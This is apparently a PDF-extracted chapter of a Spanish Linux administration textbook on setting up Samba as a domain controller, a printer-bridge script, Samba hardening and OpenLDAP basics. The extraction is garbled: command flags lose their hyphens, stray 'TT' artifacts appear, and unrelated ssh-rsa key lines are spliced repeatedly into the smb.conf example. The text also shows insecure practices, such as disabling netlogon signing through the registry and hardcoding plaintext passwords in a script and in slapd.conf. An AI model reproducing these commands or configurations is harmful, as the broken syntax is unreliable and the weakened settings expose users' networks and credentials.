Tambin podemos configurar Samba para actuar como un PDC de dominio. La nica diferencia que tendr
contra un PDC de Microsoft es que no posee servicios de replicacin de dominios. Esta caracterstica se
espera que este disponible para Samba 3.0
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global

->
->
->
->
->
->
->
->
->
->

Workgroup Name = Nombre de dominio PDC


Netbios names = Nombre del servidor
Security = user
Encrypt passwords = Yes
User map = /etc/samba.d/smbusers
Password Level = 8
Username Level = 8
Domain Admin Group = @adm
Logon Script = logon.bat
Logon Path = HHTUTU\\%N\profiles\%uUUTTHH

261

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

Global
Global
Global
Global
Global
Global
Global

->
->
->
->
->
->
->

Logon Drive = H:
Domain Logons = Yes
OS Level = 35
Preferred Master = Yes
Domain Master = Yes
Admin Users = root
Printing = CUPS

Adems de las opciones mencionadas anteriormente, los directorios netlogon, profiles, home de cada
usuario deben ser creados sin olvidarse de crear las cuentas del sistema para cada una de las computadoras
que intenten ingresar al mismo.
Se deben crear cuentas para cada computadora en Samba y en linux si se desea ser parte de un PDC
Para crear una cuenta de maquina XP desde el shell para linux debe ejecutar:
# useradd d /dev/null s /bin/false nombre_MAQUINA\$
# passwd l nombre_MAQUINA\$
Para crear una cuenta de maquina XP desde el shell para SAMBA debe ejecutar:
# smbpasswd a m NOMBRE_MAQUINA\$
Esto se debe hacer por cada nombre de maquina o PC XP.
Se debe agregar el usuario de cada maquina a SAMBA:
# smbpasswd a usuario
Se debe agregar al usuario root como administrador del PDC:
# smbpasswd a root

9.0

Cambios en XP para pertenecer a un PDC

Ejecute "regedit" y busque el registro:


HKEY_LOCAL_MACHINE \
System\
CurrentCrontrolSet\
Services\
TTnetlogon\
parameters
"RequireSignOrSeal"=dword:00000000
Y reemplace RequireSignOrSeal con el valor de "0", cuando se agrega el valor Windows pregunta si en
decimal o en hexadecimal.
Para que una mquina con windows XP pueda cambiarse del grupo de trabajo y unirse hacia un dominio
PDC en Linux con samba se debe configurar el XP como miembro del PDC digitando el dominio de samba,
luego el XP le preguntar el usuario administrador de linux, digite root y su password.
Ahora el sistema le pedir que reinicie a XP y en la prxima sesin se le pedir el usuario, el password y el
dominio PDC.

10.0

Sincronizacin

No se debe olvidar sincronizar las cuentas entre el servidor Linux y las estaciones con Windows. Es decir, si
en una mquina con Windows se ingresa como el usuario "java" con contrasea "javalink", en el servidor
Linux debe existir tambin dicha cuenta con ese mismo login y esa misma contrasea. Aada las cuentas
con los comandos TTadduserTT y TTpasswdTT, TT conTT con TTsmbadduserTT y TTsmbpasswdTT.

262

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

Esta sincronizacin tambin se puede realizar desde el modo grfico por medio del Webmin. Esta opcin la
encuentra en Servers Samba Server.

Es importante recordar que Windows 98 primera edicin no encripta los password de los usuarios por
default, para habilitarlo siga el siguiente procedimiento:
Ejecute "regedit" y busque el registro:
HKEY_LOCAL_MACHINE \
System\
CurrentCrontrolSet\
Services\
VxD\
VNETSUP y adicione el DWORD "EnablePlainTextPassword" con el valor de "0", cuando se agrega el valor
Windows pregunta si en decimal o en hexadecimal.

11.0

Donde se encuentran los archivos?

/lib
Se encuentra el archivo de configuracin (smb.conf), as como el archivo lmhosts que se utilizara para
resolver la direccin de las mquinas si no se tiene un servidor WINS y antes de que lo haga por broadcast.
El archivo lmhosts posee la misma estructura que el archivo hosts de Windows. La sintaxis es la siguiente:
Direccion IP
Nombre Netbios
gipserver

/bin
Tiene todos los ejecutables del paquete samba, desde los demonios, hasta los chequeadores de parmetros
de configuracin pasando por los creadores de archivos de passwd.
/var
En este directorio se pueden encontrar los logs, tanto de los demonios como de las conexiones que ejecuten
los usuarios.
/private
En este directorio estarn los archivos de passwd de usuarios y
los numeros ID de las mquinas.
/man
En este directorio estn todos los manuales del paquete.
Bibliografa
Edicin especial Linux 6 edicin, David Bandel y Robert Napier, Prentice Hall, 2001.
Using Lacositarica Open Linux Special Edition, Allan Smart, Eric Ratcliffe, Tim Bird, David Bandel, Editorial
QUE, 1999.

12.0

Ejemplo de configuracin sobre SUSE 9

Entre por el utilitario yast. Seleccione servidor samba, de la carpeta Inicio habilite Encender
Ahora tome la carpeta identidad, en Grupo de trabajo digite mvaonline, es decir el dominio de trabajo
Windows.
En controlador de dominio No DC.
El archivo quedara as:

263

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

# Samba config file created using SWAT


# from 0.0.0.0 (0.0.0.0)
# Date: 2004/10/27 16:33:11
# Global parameters
[global]
workgroup = MVAONLINE
bind interfaces only = yes
interfaces=eth0, eth0:1, lo
map to guest = Bad User
username map = /etc/samba/smbusers
printcap cache time = 750
logon path = \\%L\profiles\.msprofile
logon drive = P:
logon home = \\%L\%U\.9xprofile
domain logons = yes
os level = 37
wins support = yes
ldap suffix = dc=example,dc=com
ldap machine suffix = ou=Computers
ldap idmap suffix = ou=Idmap
ldap ssl = no
printer admin = @ntadmin, root, administrator
cups options = raw
security = users
encrypt passwords = yes
idmap uid = 10000-20000
idmap gid = 10000-20000
local master = yes
add machine script =
preferred master = auto
ldap admin dn = cn=Administrator,dc=mvaonline,dc=com,dc=co
[homes]
comment = Home Directories
valid users = %S
read only = No
inherit permissions = Yes
browseable = no
guest ok = no
printable = no
[profiles]
comment = Network Profiles Service
path = %H
read only = No
create mask = 0600
localhost ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAu+DjTmEWkM2Pa6kHltj7YzE9efZI2HCoXs4/Uty+V+wULNDOsKej+AavP+
x0dvGQ2YIodS3oH/oO6cXIyCFBqstHHuAx7J6zocy5oVjdcDaJ+EjHbDe2SqtV4Iv4ZV0NnH03SrtKsnPIWs4m8i7
+nX2blH432mzeNf99zJ4tXv8=
directory mask = 0700
store dos attributes = Yes
browseable = yes
guest ok = no
printable = no
[users]
comment = All users
path = /home
read only = No
inherit permissions = Yes
veto files = /aquota.user/groups/shares/
browseable = yes
guest ok = no
printable = no

264

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

[groups]
comment = All groups
path = /home/groups
read only = No
inherit permissions = Yes
browseable = yes
guest ok = no
printable = no
[pdf]
comment = PDF creator
path = /var/tmp
create mask = 0600
printable = yes
browseable = yes
guest ok = no
[printers]
comment = All Printers
path = /var/tmp
create mask = 0600
printable = yes
browseable = no
guest ok = no
[print$]
comment = Printer Drivers
path = /var/lib/samba/drivers
write list = @ntadmin, root
force group = ntadmin
localhost ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAu+DjTmEWkM2Pa6kHltj7YzE9efZI2HCoXs4/Uty+V+wULNDOsKej+AavP+
x0dvGQ2YIodS3oH/oO6cXIyCFBqstHHuAx7J6zocy5oVjdcDaJ+EjHbDe2SqtV4Iv4ZV0NnH03SrtKsnPIWs4m8i7
+nX2blH432mzeNf99zJ4tXv8=
localhost ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAu+DjTmEWkM2Pa6kHltj7YzE9efZI2HCoXs4/Uty+V+wULNDOsKej+AavP+
x0dvGQ2YIodS3oH/oO6cXIyCFBqstHHuAx7J6zocy5oVjdcDaJ+EjHbDe2SqtV4Iv4ZV0NnH03SrtKsnPIWs4m8i7
+nX2blH432mzeNf99zJ4tXv8=
localhost ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAu+DjTmEWkM2Pa6kHltj7YzE9efZI2HCoXs4/Uty+V+wULNDOsKej+AavP+
x0dvGQ2YIodS3oH/oO6cXIyCFBqstHHuAx7J6zocy5oVjdcDaJ+EjHbDe2SqtV4Iv4ZV0NnH03SrtKsnPIWs4m8i7
+nX2blH432mzeNf99zJ4tXv8=
create mask = 0664
directory mask = 0775
browseable = yes
guest ok = no
printable = no
[compartida]
comment = Carpeta para compartir informacion
writeable = yes
path = /datos
browseable = yes
guest ok = no
printable = no

265

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

13.0

Laboratorio

Configurar samba como un PDC que permita a maquinas clientes windows hacer inicio de sesin al servidor
linux para compartir carpetas e impresoras
Prerrequisitos

Para este laboratorio se supone que el dominio o grupo en el servidor se denominar


CONTABILIDAD, se asume que todo usuario que desee los recursos del servidor deben
hacer sesin al sistema.
Se requiere configurar mquinas windows 98 segunda edicin y otras mquinas con
Windows XP o Windows 2000 profesional.
Revise que su maquina tenga un IP para conectarse al servidor Linux.
Cada IP de cada PC debe estar en /etc/hosts o en el servidor DNS
Haga un ping desde linux hacia el IP del PC y desde el PC haga un ping al servidor linux
No haga este laboratorio hasta que el comando ping funcione

Paso 1: Edite el archivo smb.conf adicione y/o modifique los siguientes parmetros
[GLOBAL]
Workgroup = mvaonline
Security = user
bind interfaces only = yes
interfaces=eth0, eth0:1, lo
encrypt passwords = yes
OS Level = 65
Wins support = yes
Preferred Master = Auto
Printing = cups
; Estas variables son obligatorias en un PDC
Domain Logons = Yes
Domain Master = Yes
Local master = YES
Nota: Si tiene Linux SUSE 9 esto se puede hacer en forma grfica por el comando YAST, Network services,
Samba Server, Identity.

Paso 2: Se deben adicionar los usuarios que desde el cliente MS Windows hacen inicio de sesin en el
servidor linux/samba:
# useradd
m usuario
# smbpasswd a usuario
El parmetro usuario es la cuenta del usuario en linux, que debe ser igual al usuario de
adems es el mismo usuario en el cliente windows.

samba y que

Nota: Si tiene Linux SUSE 9 esto se hace en forma grfica por el comando YAST, Security and users, Edit
and create users, digite el password de root, Add.

Este usuario debe existir en el cliente windows que va a iniciar sesin en Samba con el mismo
password, el password del cliente windows debe ser igual al password del usuario en el servidor
linux y samba
La versin webmin permite sincronizar los usuarios linux con samba, si esto se activa no es
necesario crear el usuario en samba por lo tanto si se usa esta opcin primero se debe activar por
webmin la sincronizacin entre cuentas linux y samba.
Se recomienda hacer esto manualmente por cada usuario debido a que algunas versiones de samba
antiguas no siempre se sincronizan

Paso 3: Se debe crear una cuenta de maquina por cada cliente MS XP o MS Windows 2000, as:
# useradd

s /bin/false MAQUINA\$

266

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

# passwd
# smbpasswd

l MAQUINA\$
a m MAQUINA\$

Esto se debe hacer por cada nombre de maquina WINDOWS 2000/XP. Para Windows 95 y 98 esto no es
necesario pues las contraseas no se cifran en los sistemas antiguos, pero es deseable hacerlo de inmediato
por si llegasen a usar XP o 2000.

Paso 4: Se debe agregar el usuario root como administrador del PDC


# smbpasswd a root

Paso 5: Reinicie el servidor


# /etc/init.d/nmb stop
# /etc/init.d/smb stop
# /etc/init.d/nmb start
# /etc/init.d/smb start

Ahora pruebe si el servidor esta funcionando con el comando:


# smbclient L localhost
Presione la tecla Enter dos veces, esto le mostrar los recursos compartidos del servidor para el usuario
anonymous
Para probar si el cliente puede ser visto por el servidor digite:
# smbclient L nombre_del_cliente
Presione la tecla <enter> dos veces, esto le mostrar los recursos del cliente

Paso 6: Modifique el registro del cliente MS Windows XP


Esto es necesario en el extrao caso que no se pueda conseguir iniciar sesin, generalmente no es
obligatorio si MS Windows esta con suplementos a la fecha.
Ejecute "regedit" y busque el registro:
HKEY_LOCAL_MACHINE \
System\
CurrentCrontrolSet\
Services\
netlogon\
parameters
"RequireSignOrSeal"=dword:00000000
Reemplace RequireSignOrSeal con el valor de "0", cuando se agrega el valor Windows pregunta si en decimal
o en hexadecimal.

Paso 7: Activar el cliente XP para autenticarse contra Linux/Samba


Ahora configure XP como cliente de un PDC: Haga clic derecho sobre el icono My PC, elija propiedades,
Nombre de la maquina, seleccione la variable DOMINIO y escriba el nombre del dominio, para este caso de
pruebas es CONTABILIDAD.
Ahora el sistema muestra una ventana pidiendo el usuario administrador de linux es decir el usuario root . El
usuario root es a linux como el usuario Administrador es a Microsoft Windows.

267

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

Para que una mquina con windows XP pueda cambiarse del grupo de trabajo y unirse hacia un dominio
PDC en Linux con samba se debe configurar el XP como miembro del PDC digitando el dominio de samba,
luego el XP le preguntar el usuario administrador de linux, digite root y su password.
Ahora el sistema le pedir que reinicie a XP y en la prxima sesin se le pedir el usuario, el password y el
dominio PDC.

14.0

Trucos

Configuracin de impresoras en el servidor linux como impresoras esclavas de un PC windows cuando el


procedimiento yast2, cups o webmin fallan.

Nota:
-----Las impresoras deben tener como nombre compartido de red 8 caracteres como mximo para que puedan
ser listadas desde los clientes.

Solucion:
Para esto se debe configurar en forma manual la impresora con el comando lpadmin, para el ejemplo
utilizaremos como nombre de la impresora hp (Definido en /etc/hosts o el servidor DNS)
Entre al sistema con el usuario root.
Cree un archivo de tipo shell o interface llamado /etc/samba.sh con las siguientes lneas:

#!/bin/sh
# ---------------------------------------------------------# Shell:
samba.sh
# Autor:
Armando Carvajal/Janneth vallejo
## -----------------------------------------------------------# Se recomienda poner este archivo en /etc/samba.sh
# Asegurese que el formato de este archivo sea unix y no DOS,
# debe tener permisos de ejecucion, por ejemplo obliguelo asi:
# cd /etc/samba
# dos2unix lpsamba.sh
# chmod +x lpsamba.sh
# -----------------------------------------------------------# Nota: Para crear la impresora por cups sobre linux use el comando
# lpadmin -p samba -v /dev/null -i samba.sh -E
# Donde el parametro -p samba indica el nombre de la impresora
# -i es la interface que siempre debe ser samba.sh
#
#
#
#
#
#
#
#
#
#
#
#
#

-E indica que se habilite de inmediato ** Solo para linux **


-v /dev/null indica no usar interface standard
-----------------------------------------------------------La interface se copiara a /etc/cups/interfaces - Si es Linux
La interface se copiara a /usr/spool/lp/admins/lp/interfaces - Si es SCO
---------------------------------------------------------En Unix se debe habilitar con los comandos:
enable samba
accept samba
---------------------------------------------------------para ver si la impresora acepta trabajos digite:
lpstat -t
----------------------------------------------------------

# Nota: se debe cambiar dependiendo del sistema operativo


# Por ejemplo para Open Server use:
#PATH_SAMBA=/usr/lib/samba/bin
# ----------------------------------------------------------

268

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

# Para UnitedLinux use:


PATH_SAMBA=/usr/bin
export PATH_SAMBA
# ---------------------------------------------------------# IMPORTANTE: El usuario debe pertenecer al grupo lp en SCO
# ---------------------------------------------------------# Parametros que recibe el shell del servidor de impresoras
# ---------------------------------------------------------consecutivo=$1
usuario=$2
archivo=$3
copias=$4
opciones=$5
ruta_archivo=$6
otros=$7
echo '------------------------------------------------------' > /tmp/samba.prn
# ---------------------------------------------------------# Obligatorio diligenciar estas variables si no se utiliza
# el parametro -o opcion del comando lp:
# lp -d educacion -n 1 -o //educacion/HPEducacion
# ---------------------------------------------------------IMPRESORA=//ndwinxp/epsonxp
PASSWORD=sistemas
USUARIO=Administrator
GRUPOTRABAJO=soporte
OPCIONES=-N -P
export IMPRESORA PASSWORD USUARIO GRUPOTRABAJO OPCIONES
# ---------------------------------------------------------if [ "$opciones" -ne '' ]
then
IMPRESORA=`echo $opciones | cut -f1 -d"="`
fi
# ---------------------------------------------------------echo " Impresion del dia: `date`"
>> /tmp/samba.prn
echo " Impresora
: $IMPRESORA"
>> /tmp/samba.prn
echo " PATH_SAMBA
: $PATH_SAMBA"
>> /tmp/samba.prn
echo " opciones
: $opciones"
>> /tmp/samba.prn
echo '------------------------------------------------------'>> /tmp/samba.prn
echo "Argumento 1, Consecutivo de impresion: $1"
>> /tmp/samba.prn
echo "Argumento 2, Usuario que imprime
: $2"
>> /tmp/samba.prn
echo "Argumento 3, archivo impreso
: $3"
>> /tmp/samba.prn
echo "Argumento 4, Numero de copias
: $4"
>> /tmp/samba.prn
echo "Argumento 5, Impresora WINDOWS
: $5"
>> /tmp/samba.prn
echo "Argumento 6, Ruta archivo a imprimir : $6"
>> /tmp/samba.prn
echo '=======================================================' >>
/tmp/samba.prn
# ---------------------------------------------------------# Adiciona salto de pagina obligatorio
# ---------------------------------------------------------echo -e "\f\c" >> $ruta_archivo
# ---------------------------------------------------------# Imprime el numero de copias solicitadas
# ---------------------------------------------------------cont=1
while [ $cont -le $copias ]
do
(
echo translate
echo print $ruta_archivo
echo q

269

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

) | $PATH_SAMBA/smbclient $IMPRESORA $PASSWORD -U $USUARIO -W $GRUPOTRABAJO $OPCIONES


cont=`expr $cont + 1`
done
# Fin del shell

Configure en forma manual la nueva impresora:


# lpadmin p hp v /dev/null i /etc/samba.sh -E

Pruebe su impresora:
# lp d hp /etc/hosts
# lpstat t

Para borrar una impresora digite:


# lpadmin x impresora.

Si encuentra problemas conctese al PC remoto:


# smbclient L pcremoto

Sistema de impresin CUPS en forma aleatoria falla y no imprime


Edite el archivo /etc/cups/cupsd.conf y modifique la variable maxJobsPrinter a 1024:
MaxJobsPerPrinter 1024
MaxJobsPerUser 1024

Actualizacin de la hora del sistema basado en otro servidor Samba


# net
# net

-S \\nombre_servidor set
-I IP_servidor set

Creacin manual de impresoras


Para crear impresoras seriales digite:
# lpadmin -p p01 -v serial:/dev/ttyrp00 E

Donde lpadmin es el comando Linux para crear impresoras


P01 es el nombre de la impresora
Serial es la orden del tipo de impresora
/dev/ttyrp00 es el nombre del puerto serial no estandar
-E indica habilitarla de inmediato

Para crear impresoras Windows/SAMBA digite:


# lpadmin -p pxx -v smb://grupo/usuario:clave@IPWorkstation/impresoracompartida -E

Donde lpadmin es el comando Linux para crear impresoras


pxx es el nombre de la impresora
smb es la orden del tipo de impresora samba/windows
//grupo es el nombre del grupo a que pertenece la estacin de trabajo
/usuario:clave es el nombre del usuario y clave del dominio que se autentica en la estacin de
trabajo
@IPWorkstation es el IP o el nombre del PC en el DNS local de la estacin de trabajo
/impresoracompartida es el nombre compartido de la impresora en la estacin de trabajo

270

Parte II, Captulo 10 Asegurando los servicios de red - SAMBA

-E indica habilitarla de inmediato

Para crear impresoras de tipo lpd, digite:


#lpadmin -p pxx -v lpd://1.2.3.4:515/imp_lpd -E

Para crear impresoras Paralelas digite:


# lpadmin -p pxx -v parallel:/dev/lpx -E

15.0

Blindaje del servicio Samba

Evitar las versiones con exploits conocidos


Con el comando rpm qi samba se debe averiguar que versin se tiene instalada, es de conocimiento publico
que la versin de samba 3.0.25 tiene fallas muy conocidas.
Se recomienda que el sistema operativo este actualizandose en forma permanente con los suplementos en
lnea para evitar las vulnerabilidades/fallas ms conocidas

Evitar usuarios anonimos


En el archivo /etc/samba/smb.conf, seccin de redes, se deben adicionar las siguientes lneas para evitar
que los usuarios annimos obtengan archivos/ficheros del sistema vulnerable:
Guest account = nobody
Restrict anonymous = yes
Map to guest = Never
Si encuentra la opcin ldap connection timeout = 1 y la opcin printer admin = @ntadmin, root,
administrator se deben borrar porque estos parmetros estn obsoletos.
Finalmente se debe reiniciar el servicio.
En SLES rcnmb restart, rcsmb restart

Restriccion de permisos a usuarios:

En cualquier seccin de samba se pueden escribir los siguientes parmetros


La opcion valid users = supervisor1, supervisor2, operador1, operador2 crean la una lista de acceso
pero esta no sabe si puede leer o escribir
La opcion write list = supervisor1, supervisor2 crean la excepcin de nicamente escribir para esta
lista de usuarios pero deben estar en la lista de valid users

271

Captulo 11
Asegurando los servicios de red
LDAP
Objetivos:

Define el protocolo ldap

Entender para que sirve el protoclo LDAP

Muestra cual es el API para los programadores

Muestra como se representan los datos en arboles jerrquicos LDAP

Conocer cmo se configuran y donde estn los archivos de configuracin de Open Ldap

Crear implementaciones con las estructuras estndares incluidas y creacin de nuevas estructuras
de datos

Creacin de aplicaciones para mantenimientos de perfiles de usuarios que usan la implementacin


open Ldap en directorios de usuarios
1.0 Que es LDAP
Es un servicio de red orientado a conexin para permitirle a la informacin de su directorio estar actualizada
y disponible en la red en forma centralizada.
LDAP es el acrnimo de Lightweight Directory Access Protocol
LDAP versin 1 naci en julio de 1993 por medio del RFC 1487
La informacin del directorio se guarda en una base de datos de tipo jerrquica donde el promedio de lectura
es mayor al de escritura. Los autores de LDAP son Wengyik Yeong, Steve Kille, Colin Robbins y Tim Howes.
LDAP es una versin simplificada del complejo protocolo X.500 DAP del modelo OSI de 1990, LDAP
comercialmente se conoce desde abril de 1996, la versin 3 la despacho Netscape desde enero de 1998.

2.0 Para que sirve


Si usted es un administrador:
Se puede administrar en forma centralizada los usuarios, grupos, dispositivos y cualquier informacin que se
pueda tabular; lo ms importante podra ser el aislar las aplicaciones de los directorios por ejemplo aislar el
correo electrnico de los directorios personales.
Si usted es un IT manager:
Le permite renunciar a estar amarrado a un solo proveedor y/o sistema operativo adems de disminuir
costos al bajar el TCO al reducir el total de distintos directorios que se necesitan administrar.

272

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

Si usted es un desarrollador:
Permite renunciar a estar amarrado a un solo proveedor y/o sistema operativo adems de ahorrar tiempo en
el desarrollo de software, el programador no debe desarrollar su propio sistema de directorios para
administrar los usuarios, grupos y objetos pues LDAP es un estndar que ya lo hace.
LDAP est basado en la arquitectura cliente servidor de dos niveles y es un protocolo orientado a mensajes,
hay dos clases de directorios los Offline y los Online.
Directorios Offline:
Cambian muy poco, ayudan a la gente a encontrar cosas por ejemplo el directorio telefnico, las pginas
amarillas, la gua de televisin, los catlogos de compras, las libreras, las bibliotecas, etc.
Directorios Online:
Cambian en forma dinmica, deben ser flexibles, deben ser seguros, y deben personalizarse al gusto del
usuario. Debe ser actualizado por el usuario dueo de la informacin por ejemplo el directorio de empleados
en una empresa que desea localizarlos cuando cambien sus datos de telfono, fax, etc. Otro ejemplo sera el
directorio de hoteles por los que pasa un funcionario, etc.

3.0 Productos comerciales que utilizan LDAP

4.0

Microsoft Active Directory


Netscapes Directory Server
Innosoft Distributed Directory Server
Lucent Technologies Internet Directory Server
Sun Microsystems Directory services
IBMs DSSeries LDAP Directory
University of Michigans SLDAP server

Los productos que Compiten directamente con LDAP son

iPlanet
eDirectory
Novell directory

LDAP se consigue en formato rpm en el site www.openldap.org y es heredado de la versin 3.3 de la versin
original de la Universidad de Michigan.

273

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

5.0

API para el lenguaje C

Existen varios APIS de los cuales el mas utilizado es el del lenguaje C.


Para compilar un programa en C con soporte a LDAP se debe incluir el API con la instruccin:
# include <ldap.h>
Algunos comandos asincrnicos son:

ldap_search(),
ldap_compare(),
ldap_bind(),
ldap_unbind(),
ldap_modify(),
ldap_add(),
ldap_delete(),
ldap_rename(),
ldap_result()

Para ms informacin en la lnea de comando linux se debera digitar:


# man ldap
# man slapd

Instalacion de OpenLdap
#
#
#
#
#
#
#
#
#

make clean
CPPFLAGS="-I/usr/local/ssl/include -I/usr/local/BerkeleyDB.5.0/include"
LDFLAGS="-L/usr/local/ssl/lib -L/usr/local/BerkeleyDB.5.0/lib"
LD_LIBRARY_PATH="/usr/local/BerkeleyDB.5.0/lib"
export CPPFLAGS LDFLAGS LD_LIBRARY_PATH
./configure --with-tls --enable-crypt --enable-syslog --sysconfdir=/etc/openldap
make depend
make
make install

Es crtico el uso de la variable LD_LIBRARY_PATH pues el origen de compilacin de openldap viene de Unix y
no se ha normalizado para Linux.

Para compartir las libreras se deben adicionar las siguientes lneas al archivo/fichero /etc/ld.so.conf:
/usr/local/BerkeleyDB.5.0/lib
/usr/local/ssl/lib
/usr/local/ssl
/usr/local/lib64
/usr/local/lib
Para luego compilarlas con ldconfig v

6.0 Formato de representacin de datos


El Formato de presentacin que utiliza LDAP es el LDIF o formato de representacin de datos en cdigo
ASCII que se puede pasar como mensajes de e-mail (8 bit clean), una entrada LDIF est formada por varias
lneas, iniciando con la palabra DN, seguido del nombre nico que identifica la lnea entrada en la base
de datos.
El registro DN debe ocupar una sola lnea, luego siguen los atributos de la entrada, cada atributo debe ir en
una lnea diferente, cada atributo de estar seguido por el signo : y a continuacin su valor.

274

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

Ejemplo de un archivo en formato LDIF:


dn:
o:
postalAddress:
objectclass:

o=Acis,c=CO
Acis
Calle 93 con 13A
organization

dn:
cn=Juana La Loca, o=Acis, c=CO
cn:
Juana
sn:
La Loca
description:
Soporte en Windows
uid:
acarvaja
userPassword: {SSHA}msyaU45hcXmiq8ahe9OkewOCKKA4A5EY
displayname:
Armando Carvajal - sistemas
mail:
acarvaja@acis.org.co
carLicense:
77036182
homePhone:
571 528 3101
objectclass:inetOrgPerson

Explicacin:
o: Significa organization (Nombre de la empresa) y c: significa country (pas), es decir primero se tiene un
tipo de atributo y en seguida el valor del atributo:
dn: significa distinguished (Distinguido)
objectClass: (Tipo de objeto)
cn: significa Common name (Nombre Comun)
sn: significa surname (Apellido)
telephoneNumber: (Nmero de tel)
mail: (e-mail del usuario)
description: (Descripcin del objeto)
El significado de cada atributo est definido en los archivos de tipo schema residentes en el directorio: /
etc / openldap / schema
Por ejemplo / etc/ openldap / core.schema, / etc / openldap / schema / cosine.schema,
/ etc / openldap / schema / inetorgperson.schema
Revise que el atributo mail este definido antes del objeto inetOrgPerson, si esto no se define en forma
correcta el inicio del proceso servidor fallar.
El proceso servidor en binario ldap se llama slapd y escucha por el puerto tcp 389 de /etc/services.
Ldapd significa: Stand-alone LDAP Daemon que en tiempo de boot se arranca por un script en
/etc/init.d/ldap, el servidor o demonio ldap busca a /etc/openldap/slapd.conf.
El directorio donde LDAP guarda los datos se encuentra en /var/lib/ldap.

275

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

7.0 Archivos de Configuracin Open LDAP


El archivo ms importante de Open LDAP es /etc/openldap/slapd.conf:
# Indica los atributos y objetos que LDAP puede manejar por cada registro
include
/etc/openldap/schema/core.schema
include
/etc/openldap/schema/cosine.schema
include
/etc/openldap/schema/inetorgperson.schema
# Permite compatibilidad con la antigua versin 2 de LDAP
allow
bind_v2
# Tipo de cifrado en los datos
# Donde formato puede ser algn algoritmo de cifrado simtrico como: {SSHA}, {SHA}, {SMD5}, {MD5},
{CRYPT}, {CLEARTEXT}
password-hash

{SSHA}

# Indica el formato de la base de datos


database
ldbm
# Esta es la base de la llave principal
suffix
o=Acis, c=CO
# Es el directorio donde residen los archivos de la base de datos LDAP
directory
/var/lib/ldap
# Este es la base del registro para el administrador de la BD
rootdn
cn=root, o=Acis, c=CO
# Este es el password del administrador y nunca debe estar sin cifrar como en este caso
rootpw
sistemas
# Afinar el openldap para altas cargas de trabajos
sizelimit
unlimited
threads
256
timelimit
unlimited
index
uid eq,pres,sub
index
objectClass
eq
# Activa la replica de este servidor hacia el servidor de backup con IP 1.2.3.4 puerto 389
replogfile /var/log/ldap/master-slapd.replog
replica host=1.2.3.4:389
binddn="o=Acis, c=CO"
bindmethod=simple
credentials=mva.,07zz
# Fin del archivo slapd.conf

Cadenas de autenticacion:
Las cadenas ms conocidas para el atributo DN que permiten autenticarse a los servidores LDAP son:
Para SUSE Linux 9:

UID=Administrator, OU=people, DC=BAT, DC=COM

Administrator es un usuario vlido en SUSE Linux.


people es la unidad organizacional que SUSE Linux usa para almacenar los usuarios del sistema
BAT indica el dominio LDAP
COM indica la parte final del dominio

Para Microsoft Active Directory:

276

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

CN=Administrator, CN=users, DC=BAT, DC=COM

Administrator es un usuario vlido en MS Windows 2000.


users es la unidad organizacional que windows usa para almacenar los usuarios del sistema
BAT indica el dominio Active directory que es lo mismo que LDAP
COM indica la parte final del dominio generalmente se le conoce como LOCAL.

Para SCOoffice:

cn=Administrador,o=mvaonline.com

Administrador es un usuario vlido LDAP

o=mvaonline.com es la organizacin que el sistema de correo usa para almacenar los usuarios del
sistema

Archivo/Fichero de configuracin /etc/openldap/ldap.conf:


El archivo para que el cliente linux conozca parmetros por defecto es /etc/openldap/ldap.conf y debera
estar configurado de la siguiente forma:
HOST
BASE
PORT

127.0.0.1
o=Acis, c=CO
389

Esto evita que el usuario al lanzar comandos en la lnea de comandos tenga que digitar el servidor, la cadena
base LDAP y el puerto.
En el Linux CentOS/RedHat debe existir la carpeta /etc/openldap/cacerts, sin esta carpeta el servicio no sube
Para subir el servicio en forma automtica posicionese en el directorio /etc/init.d y digite los siguientes
comandos:
# chkconfig -add ldap
# chkconfig -level 35 ldap on

8.0 Comandos bsicos de administracin


La clave del usuario administrador o de cualquier usuario se puede cifrar con el comando:
# slappasswd h Formato > archivo
Donde Formato puede ser algn algoritmo de cifrado simtrico:
{SSHA}
{SHA}
{SMD5}
{MD5}
{CRYPT}
{CLEARTEXT}
Nota: Jams utilice {CLEARTEXT} dado que si un intruso ve esto entonces ya conocer la clave del
administrador, se recomienda en cambio el algoritmo ms fuerte {SSHA}
Para Consultar si openldap esta instalado:
# rpm q openldap2
Hacer backup de la base de datos en formato LDIF:
# slapcat l backup.ldif
Subir los datos hechos por un backup en formato LDIF:
# slapadd l backup.ldif

277

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

Para cifrar el password del cliente al servidor, digite:


# stunnel c d 389 r localhost:636
Para ver todos los registros de la BD:
#ldapsearch x b o=Acis,c=CO objectclass=*
Para ver los usuarios de la BD:
#ldapsearch x b o=Acis,c=CO uid=*
Para adicionar registros desde el archivo bd.ldif:
#ldapadd x D uid=acarvaja,o=Acis,c=CO -W f bd.ldif
Nota: La opcin x indica no usar autenticacin segura

9.0 Utilitarios sobre MS Windows para ver los datos LDAP


El sitio ms importante sobre LDAP se llama www.ldapguru.com, en este sitio se encuentran los utilitarios
ms conocidos para operaciones LDAP por ejemplo:
9.1 LDAP Browser 2.6
Tiene dos versiones una de pruebas sin costo y una licenciada, la licenciada permite modificar datos de la
base de datos.

Al instalarlo quedara en el escritorio en Programas, Software LDAP Browser

278

Parte II, Captulo 11 Asegurando los servicios de red - LDAP

El sistema le preguntara el nombre de la configuracin, se pueden tener varias conexiones a varios


servidores.

Ahora digite en HOST el IP del servidor donde reside el servicio OpenLDAP, para este caso 192.168.100.55.
En el campo PORT digite el nmero del puerto por donde escucha el servidor OpenLDAP, generalmente es el
389. En el campo BASE DN digite la cadena DN por ejemplo dc=bat para indicar el dominio bat de la
organizacin BAT.

279

